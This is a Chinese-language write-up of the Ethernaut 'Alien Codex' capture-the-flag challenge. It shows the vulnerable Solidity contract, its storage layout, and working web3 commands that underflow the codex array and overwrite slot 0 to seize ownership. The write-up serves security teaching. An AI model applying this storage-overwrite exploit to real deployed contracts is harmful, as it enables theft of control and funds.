Skip to main content

Alien Codex

题目源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

bool public contact;
bytes32[] public codex;

modifier contacted() {
assert(contact);
_;
}

function make_contact() public {
contact = true;
}

function record(bytes32 _content) contacted public {
codex.push(_content);
}

function retract() contacted public {
codex.length--;
}

function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}

题目要求

题目要求获得合约的Owner权限

题目分析

合约继承自Ownable合约,Ownable合约中存在address private _owner;状态变量。 以太坊数据存储会为合约的每项数据指定一个可计算的存储位置,存放在一个容量为 2^256 的超级数组中,数组中每个元素称为插槽,其初始值为 0 根据Storage存储规则,可以推出slot布局如下

-------------------------------
| contact(1)| _owner(20) | <- slot 0
-------------------------------
| codex.length(32) | <- slot 1
-------------------------------
| codex[0] | <- slot keccak256(1)
-------------------------------
| ... | <- slot ...
-------------------------------
| codex[2^256-1-keccak256(1)] | <- slot max
-------------------------------

我们看到合约中retract方法没有对codex的长度做溢出限制,revise方法又可以对数组任意位置进行赋值。所以可以通过codex数组溢出到slot0来修改owner的存储

攻击步骤

  1. 调用make_contact解除调用限制
await contract.make_contact()
  1. 调用retract方法,使数组长度溢出
await contract.retract()
  1. 读取当前slot0的位置
await web3.eth.getStorageAt(instance,0)
=> 0x000000000000000000000001da5b3fb76c78b6edee6be8f11a1c31ecfb02b272

0x000000000000000000000001da5b3fb76c78b6edee6be8f11a1c31ecfb02b272是由两部分组成

  • 0x000000000000000000000001: 表示bool类型的contact变量的值。
  • da5b3fb76c78b6edee6be8f11a1c31ecfb02b272: 表示owner地址

从上面Storage存储结构可以看出,只要我们给codex[2^256 - keccak256(1)]位置赋值,就可以覆盖slot0位置的变量数据

  1. 计算2^256 - keccak256(1)
// 计算keccak256(1)
web3.utils.soliditySha3('1')
// 计算2^256 - keccak256(1)再转成hex值
// 注意,这里计算的时候去掉了0x new BN("b10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6",16)
web3.utils.numberToHex(
new BN(2).pow(new BN(256)).sub(new BN("b10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6",16)
).toString(10))
=> 0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a
  1. 调用revise方法进行覆盖
await contract.revise(
"0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a",
"0x0000000000000000000000010680C383e268A5c6a1cCc0cAC3eCb009014Ae9f1" // 注意,这里只替换地址部分,前面bool变量保留
)